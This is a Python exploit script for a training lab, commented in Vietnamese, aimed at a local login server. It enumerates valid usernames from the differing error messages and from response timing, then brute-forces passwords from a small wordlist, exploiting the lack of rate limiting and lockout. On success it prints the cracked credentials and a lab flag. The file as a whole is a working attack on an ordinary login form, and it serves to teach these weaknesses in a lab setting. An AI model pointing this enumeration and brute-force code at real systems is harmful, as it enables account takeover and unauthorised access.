#!/usr/bin/env python3
"""
Exploit lab 4.1.

Buoc 1: username enumeration qua NOI DUNG loi (Unknown user vs Invalid password).
Buoc 2: xac nhan lai bang TIMING (user ton tai phan hoi cham hon vi co check_password).
Buoc 3: brute force mat khau cho user tim duoc (khong co rate limit/lockout).
"""
import statistics
import sys
import time

import requests

BASE = "http://127.0.0.1:8041"

# Danh sach username thu (wordlist nho de minh hoa).
CANDIDATE_USERS = [
    "root", "administrator", "admin", "guest", "test",
    "john.doe", "alice", "bob", "support",
]

# Wordlist mat khau nho (chua san mat khau dung de lab chay nhanh).
PASSWORDS = [
    "123456", "password", "qwerty", "admin", "letmein",
    "sunshine", "iloveyou", "Password123", "welcome",
]


def try_login(username, password):
    t0 = time.perf_counter()
    r = requests.post("%s/login" % BASE, data={"username": username,
                                               "password": password})
    dt = time.perf_counter() - t0
    return r, dt


def enumerate_by_message():
    print("[*] Buoc 1: enumeration qua noi dung thong bao loi")
    valid = []
    for u in CANDIDATE_USERS:
        r, _ = try_login(u, "wrong-password-xyz")
        err = r.json().get("error", "")
        marker = "<= HOP LE" if err != "Unknown user" else ""
        print("    %-14s -> %s %s" % (u, err, marker))
        if err != "Unknown user":
            valid.append(u)
    print("    => user hop le (theo message): %s" % valid)
    return valid


def enumerate_by_timing():
    print("\n[*] Buoc 2: xac nhan bang timing (trung binh 5 lan/moi user)")
    results = {}
    for u in CANDIDATE_USERS:
        samples = []
        for _ in range(5):
            _, dt = try_login(u, "wrong-password-xyz")
            samples.append(dt)
        results[u] = statistics.median(samples)
    # user ton tai se co median lon hon han do co time.sleep trong check_password.
    ordered = sorted(results.items(), key=lambda kv: kv[1], reverse=True)
    for u, med in ordered:
        print("    %-14s median=%.4fs" % (u, med))
    slow = [u for u, med in results.items() if med > 0.08]
    print("    => user cham bat thuong (ton tai): %s" % slow)
    return slow


def brute_force(users):
    print("\n[*] Buoc 3: brute force mat khau (khong rate limit/lockout)")
    cracked = {}
    for u in users:
        for p in PASSWORDS:
            r, _ = try_login(u, p)
            if r.status_code == 200 and r.json().get("ok"):
                flag = r.json().get("flag")
                print("    [+] CRACKED %s:%s  flag=%s" % (u, p, flag))
                cracked[u] = p
                break
    return cracked


if __name__ == "__main__":
    valid = enumerate_by_message()
    enumerate_by_timing()
    cracked = brute_force(valid if valid else CANDIDATE_USERS)
    if cracked:
        print("\n[+] Chiem duoc tai khoan: %s" % cracked)
        sys.exit(0)
    print("\n[-] Khong crack duoc")
    sys.exit(1)
